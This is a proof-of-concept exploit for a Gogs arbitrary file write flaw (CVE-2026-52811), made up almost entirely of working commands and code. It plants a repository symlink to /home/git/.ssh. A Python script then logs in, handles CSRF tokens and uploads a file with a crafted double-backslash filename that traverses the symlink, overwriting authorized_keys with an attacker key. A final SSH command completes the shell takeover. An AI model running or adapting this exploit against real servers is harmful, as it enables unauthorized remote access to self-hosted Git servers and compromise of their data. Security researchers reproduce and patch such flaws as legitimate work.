CVE-2026-52811: Gogs UploadRepoFiles Arbitrary File Write via Parent Symlink

# Step 1: plant the directory symlink in the repo
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs' && git push origin main
cd ..

# Step 2: send the crafted multipart upload (Python -- curl alone won't work)
# The wire filename must carry two literal backslash bytes so that
# mime.ParseMediaType quoted-pair decoding yields one backslash,
# which pathx.Clean then converts to a forward slash.
#
# Wire form:  filename="hijack\\authorized_keys"
# After mime:  hijack\authorized_keys
# After pathx: hijack/authorized_keys  <-- traverses parent symlink

import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

cookies = {}
def conn(): return http.client.HTTPSConnection(GOGS_HOST, 443)
def update_cookies(r):
    for h in r.msg.get_all('Set-Cookie') or []:
        for n, m in SimpleCookie(h).items(): cookies[n] = m.value
def cookie_header(): return '; '.join(f'{k}={v}' for k,v in cookies.items())
def get_csrf(html): return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)

# 1. GET login page
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r); csrf = get_csrf(r.read().decode())

# 2. POST credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); r.read(); update_cookies(r)

# 3. Refresh CSRF
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf = get_csrf(html)

# 4. Multipart with double-backslash filename on the wire
boundary = '----poc-' + 'x' * 16
filename_wire = r'hijack\\authorized_keys'   # two backslash bytes on wire
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
r = c.getresponse(); upload_resp = r.read().decode()
uuid = json.loads(upload_resp)['uuid']

# 5. Commit the upload at repo root
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf, 'tree_path': '', 'commit_summary': 'docs',
        'commit_choice': 'direct', 'files': uuid}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf})
print('commit status:', c.getresponse().status)
# Result: /home/git/.ssh/authorized_keys now contains PUBKEY
# ssh -i ~/.ssh/id_ed25519 git@gogs.example  ->  shell as gogs UID